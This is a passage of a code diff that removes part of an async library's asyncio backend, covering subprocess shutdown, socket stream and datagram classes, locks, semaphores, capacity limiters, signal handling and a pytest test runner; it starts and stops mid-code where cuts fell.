SIGPIPE and exit. - if self._stdin: - await self._stdin.aclose() - if pipe := self._transport.get_pipe_transport(0): - pipe.close() - if self._stdout: - await self._stdout.aclose() - if pipe := self._transport.get_pipe_transport(1): - pipe.close() - if self._stderr: - await self._stderr.aclose() - if pipe := self._transport.get_pipe_transport(2): - pipe.close() - - scope.shield = False - try: - await self.wait() - except BaseException: - scope.shield = True - # Closing the transport on asyncio also handles sending kill - self._transport.close() - await self.wait() - raise - - async def wait(self) -> int: - await self._exited.wait() - assert self._process.returncode is not None - return self._process.returncode - - def terminate(self) -> None: - self._process.terminate() - - def kill(self) -> None: - self._process.kill() - - def send_signal(self, signal: int) -> None: - self._process.send_signal(signal) - - @property - def pid(self) -> int: - return self._process.pid - - @property - def returncode(self) -> int | None: - return self._process.returncode - - @property - def stdin(self) -> abc.ByteSendStream | None: - return self._stdin - - @property - def stdout(self) -> abc.ByteReceiveStream | None: - return self._stdout - - @property - def stderr(self) -> abc.ByteReceiveStream | None: - return self._stderr - - -def _forcibly_shutdown_process_pool_on_exit( - workers: set[Process], _task: object -) -> None: - """ - Forcibly shuts down worker processes belonging to this event loop.""" - child_watcher: asyncio.AbstractChildWatcher | None = None # type: ignore[name-defined] - if sys.version_info < (3, 12): - try: - child_watcher = asyncio.get_event_loop_policy().get_child_watcher() - except NotImplementedError: - pass - - # Close as much as possible (w/o async/await) to avoid warnings - for process in workers.copy(): - if process.returncode is not None: - continue - - process._stdin._stream._transport.close() # type: ignore[union-attr] - process._stdout._stream._transport.close() # type: ignore[union-attr] - process._stderr._stream._transport.close() # type: ignore[union-attr] - process.kill() - if child_watcher: - child_watcher.remove_child_handler(process.pid) - - -async def _shutdown_process_pool_on_exit(workers: set[abc.Process]) -> None: - """ - Shuts down worker processes belonging to this event loop. - - NOTE: this only works when the event loop was started using asyncio.run() or - anyio.run(). - - """ - process: abc.Process - try: - await sleep(math.inf) - except asyncio.CancelledError: - workers = workers.copy() - for process in workers: - if process.returncode is None: - process.kill() - - for process in workers: - await process.aclose() - - -# -# Sockets and networking -# - - -class StreamProtocol(asyncio.Protocol): - read_queue: deque[bytes] - read_event: asyncio.Event - write_event: asyncio.Event - exception: Exception | None = None - is_at_eof: bool = False - - def connection_made(self, transport: asyncio.BaseTransport) -> None: - self.read_queue = deque() - self.read_event = asyncio.Event() - self.write_event = asyncio.Event() - self.write_event.set() - cast(asyncio.Transport, transport).set_write_buffer_limits(0) - - def connection_lost(self, exc: Exception | None) -> None: - if exc: - self.exception = exc - - self.read_event.set() - self.write_event.set() - - def data_received(self, data: bytes) -> None: - # ProactorEventloop sometimes sends bytearray instead of bytes - self.read_queue.append(bytes(data)) - self.read_event.set() - - def eof_received(self) -> bool | None: - self.is_at_eof = True - self.read_event.set() - return True - - def pause_writing(self) -> None: - self.write_event = asyncio.Event() - - def resume_writing(self) -> None: - self.write_event.set() - - -class DatagramProtocol(asyncio.DatagramProtocol): - read_queue: deque[tuple[bytes, IPSockAddrType]] - read_event: asyncio.Event - write_event: asyncio.Event - closed_event: asyncio.Event - exception: Exception | None = None - - def connection_made(self, transport: asyncio.BaseTransport) -> None: - self.read_queue = deque(maxlen=100) # arbitrary value - self.read_event = asyncio.Event() - self.write_event = asyncio.Event() - self.closed_event = asyncio.Event() - self.write_event.set() - - def connection_lost(self, exc: Exception | None) -> None: - self.read_event.set() - self.write_event.set() - self.closed_event.set() - - def datagram_received(self, data: bytes, addr: IPSockAddrType) -> None: - addr = convert_ipv6_sockaddr(addr) - self.read_queue.append((data, addr)) - self.read_event.set() - - def error_received(self, exc: Exception) -> None: - self.exception = exc - - def pause_writing(self) -> None: - self.write_event.clear() - - def resume_writing(self) -> None: - self.write_event.set() - - -class SocketStream(abc.SocketStream): - def __init__(self, transport: asyncio.Transport, protocol: StreamProtocol): - self._transport = transport - self._protocol = protocol - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - self._closed = False - - @property - def _raw_socket(self) -> socket.socket: - return self._transport.get_extra_info("socket") - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - with self._receive_guard: - if ( - not self._protocol.read_event.is_set() - and not self._transport.is_closing() - and not self._protocol.is_at_eof - ): - self._transport.resume_reading() - await self._protocol.read_event.wait() - self._transport.pause_reading() - else: - await AsyncIOBackend.checkpoint() - - try: - chunk = self._protocol.read_queue.popleft() - except IndexError: - if self._closed: - raise ClosedResourceError from None - elif self._protocol.exception: - raise BrokenResourceError from self._protocol.exception - else: - raise EndOfStream from None - - if len(chunk) > max_bytes: - # Split the oversized chunk - chunk, leftover = chunk[:max_bytes], chunk[max_bytes:] - self._protocol.read_queue.appendleft(leftover) - - # If the read queue is empty, clear the flag so that the next call will - # block until data is available - if not self._protocol.read_queue: - self._protocol.read_event.clear() - - return chunk - - async def send(self, item: bytes) -> None: - with self._send_guard: - await AsyncIOBackend.checkpoint() - - if self._closed: - raise ClosedResourceError - elif self._protocol.exception is not None: - raise BrokenResourceError from self._protocol.exception - - try: - self._transport.write(item) - except RuntimeError as exc: - if self._transport.is_closing(): - raise BrokenResourceError from exc - else: - raise - - await self._protocol.write_event.wait() - - async def send_eof(self) -> None: - try: - self._transport.write_eof() - except OSError: - pass - - async def aclose(self) -> None: - self._closed = True - if not self._transport.is_closing(): - try: - self._transport.write_eof() - except OSError: - pass - - self._transport.close() - await sleep(0) - self._transport.abort() - - -class _RawSocketMixin: - _receive_future: asyncio.Future | None = None - _send_future: asyncio.Future | None = None - _closing = False - - def __init__(self, raw_socket: socket.socket): - self.__raw_socket = raw_socket - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - - @property - def _raw_socket(self) -> socket.socket: - return self.__raw_socket - - def _wait_until_readable(self, loop: asyncio.AbstractEventLoop) -> asyncio.Future: - def callback(f: object) -> None: - del self._receive_future - loop.remove_reader(self.__raw_socket) - - f = self._receive_future = asyncio.Future() - loop.add_reader(self.__raw_socket, f.set_result, None) - f.add_done_callback(callback) - return f - - def _wait_until_writable(self, loop: asyncio.AbstractEventLoop) -> asyncio.Future: - def callback(f: object) -> None: - del self._send_future - loop.remove_writer(self.__raw_socket) - - f = self._send_future = asyncio.Future() - loop.add_writer(self.__raw_socket, f.set_result, None) - f.add_done_callback(callback) - return f - - async def aclose(self) -> None: - if not self._closing: - self._closing = True - if self.__raw_socket.fileno() != -1: - self.__raw_socket.close() - - if self._receive_future: - self._receive_future.set_result(None) - if self._send_future: - self._send_future.set_result(None) - - -class UNIXSocketStream(_RawSocketMixin, abc.UNIXSocketStream): - async def send_eof(self) -> None: - with self._send_guard: - self._raw_socket.shutdown(socket.SHUT_WR) - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._receive_guard: - while True: - try: - data = self._raw_socket.recv(max_bytes) - except BlockingIOError: - await self._wait_until_readable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - if not data: - raise EndOfStream - - return data - - async def send(self, item: bytes) -> None: - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._send_guard: - view = memoryview(item) - while view: - try: - bytes_sent = self._raw_socket.send(view) - except BlockingIOError: - await self._wait_until_writable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - view = view[bytes_sent:] - - async def receive_fds(self, msglen: int, maxfds: int) -> tuple[bytes, list[int]]: - if not isinstance(msglen, int) or msglen < 0: - raise ValueError("msglen must be a non-negative integer") - if not isinstance(maxfds, int) or maxfds < 1: - raise ValueError("maxfds must be a positive integer") - - loop = get_running_loop() - fds = array.array("i") - await AsyncIOBackend.checkpoint() - with self._receive_guard: - while True: - try: - message, ancdata, flags, addr = self._raw_socket.recvmsg( - msglen, socket.CMSG_LEN(maxfds * fds.itemsize) - ) - except BlockingIOError: - await self._wait_until_readable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - if not message and not ancdata: - raise EndOfStream - - break - - for cmsg_level, cmsg_type, cmsg_data in ancdata: - if cmsg_level != socket.SOL_SOCKET or cmsg_type != socket.SCM_RIGHTS: - raise RuntimeError( - f"Received unexpected ancillary data; message = {message!r}, " - f"cmsg_level = {cmsg_level}, cmsg_type = {cmsg_type}" - ) - - fds.frombytes(cmsg_data[: len(cmsg_data) - (len(cmsg_data) % fds.itemsize)]) - - return message, list(fds) - - async def send_fds(self, message: bytes, fds: Collection[int | IOBase]) -> None: - if not message: - raise ValueError("message must not be empty") - if not fds: - raise ValueError("fds must not be empty") - - loop = get_running_loop() - filenos: list[int] = [] - for fd in fds: - if isinstance(fd, int): - filenos.append(fd) - elif isinstance(fd, IOBase): - filenos.append(fd.fileno()) - - fdarray = array.array("i", filenos) - await AsyncIOBackend.checkpoint() - with self._send_guard: - while True: - try: - # The ignore can be removed after mypy picks up - # https://github.com/python/typeshed/pull/5545 - self._raw_socket.sendmsg( - [message], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, fdarray)] - ) - break - except BlockingIOError: - await self._wait_until_writable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - - -class TCPSocketListener(abc.SocketListener): - _accept_scope: CancelScope | None = None - _closed = False - - def __init__(self, raw_socket: socket.socket): - self.__raw_socket = raw_socket - self._loop = cast(asyncio.BaseEventLoop, get_running_loop()) - self._accept_guard = ResourceGuard("accepting connections from") - - @property - def _raw_socket(self) -> socket.socket: - return self.__raw_socket - - async def accept(self) -> abc.SocketStream: - if self._closed: - raise ClosedResourceError - - with self._accept_guard: - await AsyncIOBackend.checkpoint() - with CancelScope() as self._accept_scope: - try: - client_sock, _addr = await self._loop.sock_accept(self._raw_socket) - except asyncio.CancelledError: - # Workaround for https://bugs.python.org/issue41317 - try: - self._loop.remove_reader(self._raw_socket) - except (ValueError, NotImplementedError): - pass - - if self._closed: - raise ClosedResourceError from None - - raise - finally: - self._accept_scope = None - - client_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) - transport, protocol = await self._loop.connect_accepted_socket( - StreamProtocol, client_sock - ) - return SocketStream(transport, protocol) - - async def aclose(self) -> None: - if self._closed: - return - - self._closed = True - if self._accept_scope: - # Workaround for https://bugs.python.org/issue41317 - try: - self._loop.remove_reader(self._raw_socket) - except (ValueError, NotImplementedError): - pass - - self._accept_scope.cancel() - await sleep(0) - - self._raw_socket.close() - - -class UNIXSocketListener(abc.SocketListener): - def __init__(self, raw_socket: socket.socket): - self.__raw_socket = raw_socket - self._loop = get_running_loop() - self._accept_guard = ResourceGuard("accepting connections from") - self._closed = False - - async def accept(self) -> abc.SocketStream: - await AsyncIOBackend.checkpoint() - with self._accept_guard: - while True: - try: - client_sock, _ = self.__raw_socket.accept() - client_sock.setblocking(False) - return UNIXSocketStream(client_sock) - except BlockingIOError: - f: asyncio.Future = asyncio.Future() - self._loop.add_reader(self.__raw_socket, f.set_result, None) - f.add_done_callback( - lambda _: self._loop.remove_reader(self.__raw_socket) - ) - await f - except OSError as exc: - if self._closed: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - - async def aclose(self) -> None: - self._closed = True - self.__raw_socket.close() - - @property - def _raw_socket(self) -> socket.socket: - return self.__raw_socket - - -class UDPSocket(abc.UDPSocket): - def __init__( - self, transport: asyncio.DatagramTransport, protocol: DatagramProtocol - ): - self._transport = transport - self._protocol = protocol - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - self._closed = False - - @property - def _raw_socket(self) -> socket.socket: - return self._transport.get_extra_info("socket") - - async def aclose(self) -> None: - self._closed = True - if not self._transport.is_closing(): - self._transport.close() - - await self._protocol.closed_event.wait() - - async def receive(self) -> tuple[bytes, IPSockAddrType]: - with self._receive_guard: - await AsyncIOBackend.checkpoint() - - # If the buffer is empty, ask for more data - if not self._protocol.read_queue and not self._transport.is_closing(): - self._protocol.read_event.clear() - await self._protocol.read_event.wait() - - try: - return self._protocol.read_queue.popleft() - except IndexError: - if self._closed: - raise ClosedResourceError from None - else: - raise BrokenResourceError from None - - async def send(self, item: UDPPacketType) -> None: - with self._send_guard: - await AsyncIOBackend.checkpoint() - await self._protocol.write_event.wait() - if self._closed: - raise ClosedResourceError - elif self._transport.is_closing(): - raise BrokenResourceError - else: - self._transport.sendto(*item) - - -class ConnectedUDPSocket(abc.ConnectedUDPSocket): - def __init__( - self, transport: asyncio.DatagramTransport, protocol: DatagramProtocol - ): - self._transport = transport - self._protocol = protocol - self._receive_guard = ResourceGuard("reading from") - self._send_guard = ResourceGuard("writing to") - self._closed = False - - @property - def _raw_socket(self) -> socket.socket: - return self._transport.get_extra_info("socket") - - async def aclose(self) -> None: - self._closed = True - if not self._transport.is_closing(): - self._transport.close() - - await self._protocol.closed_event.wait() - - async def receive(self) -> bytes: - with self._receive_guard: - await AsyncIOBackend.checkpoint() - - # If the buffer is empty, ask for more data - if not self._protocol.read_queue and not self._transport.is_closing(): - self._protocol.read_event.clear() - await self._protocol.read_event.wait() - - try: - packet = self._protocol.read_queue.popleft() - except IndexError: - if self._closed: - raise ClosedResourceError from None - else: - raise BrokenResourceError from None - - return packet[0] - - async def send(self, item: bytes) -> None: - with self._send_guard: - await AsyncIOBackend.checkpoint() - await self._protocol.write_event.wait() - if self._closed: - raise ClosedResourceError - elif self._transport.is_closing(): - raise BrokenResourceError - else: - self._transport.sendto(item) - - -class UNIXDatagramSocket(_RawSocketMixin, abc.UNIXDatagramSocket): - async def receive(self) -> UNIXDatagramPacketType: - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._receive_guard: - while True: - try: - data = self._raw_socket.recvfrom(65536) - except BlockingIOError: - await self._wait_until_readable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - return data - - async def send(self, item: UNIXDatagramPacketType) -> None: - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._send_guard: - while True: - try: - self._raw_socket.sendto(*item) - except BlockingIOError: - await self._wait_until_writable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - return - - -class ConnectedUNIXDatagramSocket(_RawSocketMixin, abc.ConnectedUNIXDatagramSocket): - async def receive(self) -> bytes: - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._receive_guard: - while True: - try: - data = self._raw_socket.recv(65536) - except BlockingIOError: - await self._wait_until_readable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - return data - - async def send(self, item: bytes) -> None: - loop = get_running_loop() - await AsyncIOBackend.checkpoint() - with self._send_guard: - while True: - try: - self._raw_socket.send(item) - except BlockingIOError: - await self._wait_until_writable(loop) - except OSError as exc: - if self._closing: - raise ClosedResourceError from None - else: - raise BrokenResourceError from exc - else: - return - - -_read_events: RunVar[dict[int, asyncio.Future[bool]]] = RunVar("read_events") -_write_events: RunVar[dict[int, asyncio.Future[bool]]] = RunVar("write_events") - - -# -# Synchronization -# - - -class Event(BaseEvent): - __slots__ = ("_event",) - - def __new__(cls) -> Event: - return object.__new__(cls) - - def __init__(self) -> None: - self._event = asyncio.Event() - - def set(self) -> None: - self._event.set() - - def is_set(self) -> bool: - return self._event.is_set() - - async def wait(self) -> None: - if self.is_set(): - await AsyncIOBackend.checkpoint() - else: - await self._event.wait() - - def statistics(self) -> EventStatistics: - return EventStatistics(len(self._event._waiters)) - - -class Lock(BaseLock): - __slots__ = "_fast_acquire", "_owner_task", "_waiters" - - def __new__(cls, *, fast_acquire: bool = False) -> Lock: - return object.__new__(cls) - - def __init__(self, *, fast_acquire: bool = False) -> None: - self._fast_acquire = fast_acquire - self._owner_task: asyncio.Task | None = None - self._waiters: deque[tuple[asyncio.Task, asyncio.Future]] = deque() - - async def acquire(self) -> None: - task = cast(asyncio.Task, current_task()) - if self._owner_task is None and not self._waiters: - await AsyncIOBackend.checkpoint_if_cancelled() - self._owner_task = task - - # Unless on the "fast path", yield control of the event loop so that other - # tasks can run too - if not self._fast_acquire: - try: - await AsyncIOBackend.cancel_shielded_checkpoint() - except CancelledError: - self.release() - raise - - return - - if self._owner_task == task: - raise RuntimeError("Attempted to acquire an already held Lock") - - fut: asyncio.Future[None] = asyncio.Future() - item = task, fut - self._waiters.append(item) - try: - await fut - except CancelledError: - if fut.cancelled(): - try: - self._waiters.remove(item) - except ValueError: - pass - else: - self.release() - - raise - - def acquire_nowait(self) -> None: - task = cast(asyncio.Task, current_task()) - if self._owner_task is None and not self._waiters: - self._owner_task = task - return - - if self._owner_task is task: - raise RuntimeError("Attempted to acquire an already held Lock") - - raise WouldBlock - - def locked(self) -> bool: - return self._owner_task is not None - - def release(self) -> None: - if self._owner_task != current_task(): - raise RuntimeError("The current task is not holding this lock") - - # A cancelled waiter that already received ownership removes itself from - # _waiters before calling release(); any cancelled waiter still queued here - # was cancelled before being woken, so drop it. - while self._waiters: - task, fut = self._waiters.popleft() - if fut.cancelled(): - continue - - self._owner_task = task - fut.set_result(None) - return - - self._owner_task = None - - def statistics(self) -> LockStatistics: - task_info = AsyncIOTaskInfo(self._owner_task) if self._owner_task else None - return LockStatistics(self.locked(), task_info, len(self._waiters)) - - -class Semaphore(BaseSemaphore): - __slots__ = "_value", "_max_value", "_fast_acquire", "_waiters" - - def __new__( - cls, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ) -> Semaphore: - return object.__new__(cls) - - def __init__( - self, - initial_value: int, - *, - max_value: int | None = None, - fast_acquire: bool = False, - ): - super().__init__(initial_value, max_value=max_value) - self._value = initial_value - self._max_value = max_value - self._fast_acquire = fast_acquire - self._waiters: deque[asyncio.Future[None]] = deque() - - async def acquire(self) -> None: - if self._value > 0 and not self._waiters: - await AsyncIOBackend.checkpoint_if_cancelled() - self._value -= 1 - - # Unless on the "fast path", yield control of the event loop so that other - # tasks can run too - if not self._fast_acquire: - try: - await AsyncIOBackend.cancel_shielded_checkpoint() - except CancelledError: - self.release() - raise - - return - - fut: asyncio.Future[None] = asyncio.Future() - self._waiters.append(fut) - try: - await fut - except CancelledError: - if fut.cancelled(): - try: - self._waiters.remove(fut) - except ValueError: - pass - else: - self.release() - - raise - - def acquire_nowait(self) -> None: - if self._value == 0: - raise WouldBlock - - self._value -= 1 - - def release(self) -> None: - if self._max_value is not None and self._value == self._max_value: - raise ValueError("semaphore released too many times") - - while self._waiters: - fut = self._waiters.popleft() - if fut.cancelled(): - continue - - fut.set_result(None) - return - - self._value += 1 - - @property - def value(self) -> int: - return self._value - - @property - def max_value(self) -> int | None: - return self._max_value - - def statistics(self) -> SemaphoreStatistics: - return SemaphoreStatistics(len(self._waiters)) - - -class CapacityLimiter(BaseCapacityLimiter): - __slots__ = "_total_tokens", "_borrowers", "_wait_queue" - - def __new__(cls, total_tokens: float) -> CapacityLimiter: - return object.__new__(cls) - - def __init__(self, total_tokens: float): - self._total_tokens: float = 0 - self._borrowers: set[Any] = set() - self._wait_queue: OrderedDict[Any, asyncio.Event] = OrderedDict() - self.total_tokens = total_tokens - - async def __aenter__(self) -> None: - await self.acquire() - - async def __aexit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.release() - - @property - def total_tokens(self) -> float: - return self._total_tokens - - @total_tokens.setter - def total_tokens(self, value: float) -> None: - if not isinstance(value, int) and not math.isinf(value): - raise TypeError("total_tokens must be an int or math.inf") - - if value < 0: - raise ValueError("total_tokens must be >= 0") - - waiters_to_notify = max(value - self._total_tokens, 0) - self._total_tokens = value - - # Notify waiting tasks that they have acquired the limiter - while self._wait_queue and waiters_to_notify: - borrower, event = self._wait_queue.popitem(last=False) - self._borrowers.add(borrower) - event.set() - waiters_to_notify -= 1 - - @property - def borrowed_tokens(self) -> int: - return len(self._borrowers) - - @property - def available_tokens(self) -> float: - return self._total_tokens - len(self._borrowers) - - def _notify_next_waiter(self) -> None: - """Hand a free token to the next task in line, if any.""" - if self._wait_queue and len(self._borrowers) < self._total_tokens: - borrower, event = self._wait_queue.popitem(last=False) - self._borrowers.add(borrower) - event.set() - - def acquire_nowait(self) -> None: - self.acquire_on_behalf_of_nowait(current_task()) - - def acquire_on_behalf_of_nowait(self, borrower: object) -> None: - if borrower in self._borrowers: - raise RuntimeError( - "this borrower is already holding one of this CapacityLimiter's tokens" - ) - - if self._wait_queue or len(self._borrowers) >= self._total_tokens: - raise WouldBlock - - self._borrowers.add(borrower) - - async def acquire(self) -> None: - return await self.acquire_on_behalf_of(current_task()) - - async def acquire_on_behalf_of(self, borrower: object) -> None: - await AsyncIOBackend.checkpoint_if_cancelled() - try: - self.acquire_on_behalf_of_nowait(borrower) - except WouldBlock: - event = asyncio.Event() - self._wait_queue[borrower] = event - try: - await event.wait() - except BaseException: - self._wait_queue.pop(borrower, None) - if event.is_set(): - self._borrowers.discard(borrower) - self._notify_next_waiter() - - raise - else: - try: - await AsyncIOBackend.cancel_shielded_checkpoint() - except BaseException: - self.release() - raise - - def release(self) -> None: - self.release_on_behalf_of(current_task()) - - def release_on_behalf_of(self, borrower: object) -> None: - try: - self._borrowers.remove(borrower) - except KeyError: - raise RuntimeError( - "this borrower isn't holding any of this CapacityLimiter's tokens" - ) from None - - self._notify_next_waiter() - - def statistics(self) -> CapacityLimiterStatistics: - return CapacityLimiterStatistics( - self.borrowed_tokens, - self.total_tokens, - tuple(self._borrowers), - len(self._wait_queue), - ) - - -_default_thread_limiter: RunVar[CapacityLimiter] = RunVar("_default_thread_limiter") - - -# -# Operating system signals -# - - -class _SignalReceiver: - def __init__(self, signals: tuple[Signals, ...]): - self._signals = signals - self._loop = get_running_loop() - self._signal_queue: deque[Signals] = deque() - self._future: asyncio.Future = asyncio.Future() - self._handled_signals: set[Signals] = set() - - def _deliver(self, signum: Signals) -> None: - self._signal_queue.append(signum) - if not self._future.done(): - self._future.set_result(None) - - def __enter__(self) -> _SignalReceiver: - for sig in set(self._signals): - self._loop.add_signal_handler(sig, self._deliver, sig) - self._handled_signals.add(sig) - - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - for sig in self._handled_signals: - self._loop.remove_signal_handler(sig) - - def __aiter__(self) -> _SignalReceiver: - return self - - async def __anext__(self) -> Signals: - await AsyncIOBackend.checkpoint() - if not self._signal_queue: - self._future = asyncio.Future() - await self._future - - return self._signal_queue.popleft() - - -# -# Testing and debugging -# - - -class AsyncIOTaskInfo(TaskInfo): - def __init__(self, task: asyncio.Task): - task_state = _task_states.get(task) - if task_state is None: - parent_id = None - else: - parent_id = task_state.parent_id - - coro = task.get_coro() - assert coro is not None, "created TaskInfo from a completed Task" - super().__init__(id(task), parent_id, task.get_name(), coro) - self._task = weakref.ref(task) - - def has_pending_cancellation(self) -> bool: - if not (task := self._task()): - # If the task isn't around anymore, it won't have a pending cancellation - return False - - if task._must_cancel: # type: ignore[attr-defined] - return True - elif ( - isinstance(task._fut_waiter, asyncio.Future) # type: ignore[attr-defined] - and task._fut_waiter.cancelled() # type: ignore[attr-defined] - ): - return True - - if task_state := _task_states.get(task): - if cancel_scope := task_state.cancel_scope: - return cancel_scope._effectively_cancelled - - return False - - -class TestRunner(abc.TestRunner): - _send_stream: MemoryObjectSendStream[tuple[Awaitable[Any], asyncio.Future[Any]]] - - def __init__( - self, - *, - debug: bool | None = None, - use_uvloop: bool = False, - loop_factory: Callable[[], AbstractEventLoop] | None = None, - ) -> None: - if use_uvloop and loop_factory is None: - if sys.platform != "win32": - import uvloop - - loop_factory = uvloop.new_event_loop - else: - import winloop - - loop_factory = winloop.new_event_loop - - self._runner = Runner(debug=debug, loop_factory=loop_factory) - self._exceptions: list[BaseException] = [] - self._runner_task: asyncio.Task | None = None - - def __enter__(self) -> TestRunner: - self._runner.__enter__() - self.get_loop().set_exception_handler(self._exception_handler) - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self._runner.__exit__(exc_type, exc_val, exc_tb) - - def get_loop(self) -> AbstractEventLoop: - return self._runner.get_loop() - - def is_running(self) -> bool: - try: - asyncio.get_running_loop() - return True - except RuntimeError: - return False - - def _exception_handler( - self, loop: asyncio.AbstractEventLoop, context: dict[str, Any] - ) -> None: - if isinstance(context.get("exception"), Exception): - self._exceptions.append(context["exception"]) - else: - loop.default_exception_handler(context) - - def _raise_async_exceptions(self) -> None: - # Re-raise any exceptions raised in asynchronous callbacks - if self._exceptions: - exceptions, self._exceptions = self._exceptions, [] - if len(exceptions) == 1: - raise exceptions[0] - elif exceptions: - raise BaseExceptionGroup( - "Multiple exceptions occurred in asynchronous callbacks", exceptions - ) - - async def _run_tests_and_fixtures( - self, - receive_stream: MemoryObjectReceiveStream[ - tuple[Awaitable[T_Retval], asyncio.Future[T_Retval]] - ], - ) -> None: - from _pytest.outcomes import OutcomeException - - with receive_stream, self._send_stream: - async for coro, future in receive_stream: - try: - retval = await coro - except CancelledError as exc: - if not future.cancelled(): - future.cancel(*exc.args) - - raise - except BaseException as exc: - if not future.cancelled(): - future.set_exception(exc) - - if not isinstance(exc, (Exception, OutcomeException)): - raise - else: - if not future.cancelled(): - future.set_result(retval) - - async def _call_in_runner_task( - self, - func: Callable[P, Awaitable[T_Retval]], - /, - *args: P.args, - **kwargs: P.kwargs, - ) -> T_Retval: - if not self._runner_task: - self._send_stream, receive_stream = create_memory_object_stream[ - tuple[Awaitable[Any], asyncio.Future] - ](1) - self._runner_task = self.get_loop().create_task( - self._run_tests_and_fixtures(receive_stream) - ) - - coro = func(*args, **kwargs) - future: asyncio.Future[T_Retval] = self.get_loop().create_future() - self._send_stream.send_nowait((coro, future)) - return await future - - def run_asyncgen_fixture( - self, - fixture_func: Callable[..., AsyncGenerator[T_Retval, Any]], - kwargs: dict[str, Any], - ) -> Iterable[T_Retval]: - asyncgen = fixture_func(**kwargs) - fixturevalue: T_Retval = self.get_loop().run_until_complete( - self._call_in_runner_task(asyncgen.asend, None) - ) - self._raise_async_exceptions() - - yield fixturevalue - - try: - self.get_loop().run_until_complete( - self._call_in_runner_task(asyncgen.asend, None) - ) - except StopAsyncIteration: - self._raise_async_exceptions() - else: - self.get_loop().run_until_complete(asyncgen.aclose()) - raise RuntimeError("Async generator fixture did not stop") - - def run_fixture( - self, - fixture_func: Callable[..., Coroutine[Any, Any, T_Retval]], - kwargs: dict[str, Any], - ) -> T_Retval: - retval = self.get_loop().run_until_complete( - self._call_in_runner_task(fixture_func, **kwargs) - ) - self._raise_async_exceptions() - return retval - - def run_test( - self, test_func: Callable[..., Coroutine[Any, Any, Any]], kwargs: dict[str, Any] - ) -> None: - from _pytest.outcomes import OutcomeException - - try: - self.get_loop().run_until_complete( - self._call_in_runner_task(test_func, **kwargs) - ) - except Exception as exc: - self._exceptions.append(exc) - except OutcomeException: - raise - except BaseException: - # A BaseException (e.g. KeyboardInterrupt, SystemExit) interrupted the event loop before - # the test completed. Cancel _runner_task so it does not resume when the event - # loop is re-entered during async generator fixture teardown. - if self._runner_task is not None and not self._runner_task.done(): - self._runner_task.cancel() - self._send_stream.close() - try: - self.get_loop().run_until_complete(self._runner_task) - except CancelledError: - pass - finally: - self._runner_task = None - raise - self._raise_async_exceptions() - - -class _ProcessStreamProtocol(asyncio.subprocess.SubprocessStreamProtocol): - """ - A subprocess protocol that allows us to be notified of ``process_exited`` - - asyncio's own ``Process.wait()`` only resolves once every pipe transport has - disconnected so to get same semantics as on trio and uvloop we need this. - """ - - def __init__(self) -> None: - # Match the standard factory for asyncio.create_process - super().__init__(limit=2**16, loop=asyncio.get_running_loop()) - self.exited = asyncio.Event() - - def process_exited(self) -> None: - super().process_exited() - self.exited.set() - - -class AsyncIOBackend(AsyncBackend): - @classmethod - def run( - cls, - func: Callable[[Unpack[PosArgsT]], Awaitable[T_Retval]], - args: tuple[Unpack[PosArgsT]], - kwargs: dict[str, Any], - options: dict[str, Any], - ) -> T_Retval: - @wraps(func) - async def wrapper() -> T_Retval: - task = cast(asyncio.Task, current_task()) - task.set_name(get_callable_name(func)) - _task_states[task] = TaskState(None, None) - - try: - return await func(*args) - finally: - del _task_states[task] - - debug = options.get("debug", None) - loop_factory = options.get("loop_factory", None) - if loop_factory is None and options.get("use_uvloop", False): - if sys.platform != "win32": - import uvloop - - loop_factory = uvloop.new_event_loop - else: - import winloop - - loop_factory = winloop.new_event_loop - - with Runner(debug=debug, loop_factory=loop_factory) as runner: - return runner.run(wrapper()) - - @classmethod - def current_token(cls) -> object: - return get_running_loop() - - @classmethod - def current_time(cls) -> float: - return get_running_loop().time() - - @classmethod - def cancelled_exception_class(cls) -> type[BaseException]: - return CancelledError - - @classmethod - async def checkpoint(cls) -> None: - await sleep(0) - - @classmethod - async def checkpoint_if_cancelled(cls) -> None: - task = current_task() - if task is None: - return - - try: - cancel_scope = _task_states[task].cancel_scope - except KeyError: - return - - while cancel_scope: - if cancel_scope.cancel_called: - await sleep(0) - elif cancel_scope.shield: - break - else: - cancel_scope = cancel_scope._parent_scope - - @classmethod - async def cancel_shielded_checkpoint(cls) -> None: - with CancelScope(shield=True): - await sleep(0) - - @classmethod - async def sleep(cls, delay: float) -> None: - await sleep(delay) - - @classmethod - def create_cancel_scope( - cls, *, deadline: float = math.inf, shield: bool = False - ) -> CancelScope: - return CancelScope(deadline=deadline, shield=shield) - - @classmethod - def current_effective_deadline(cls) -> float: - if (task := current_task()) is None: - return math.inf - - try: - cancel_scope = 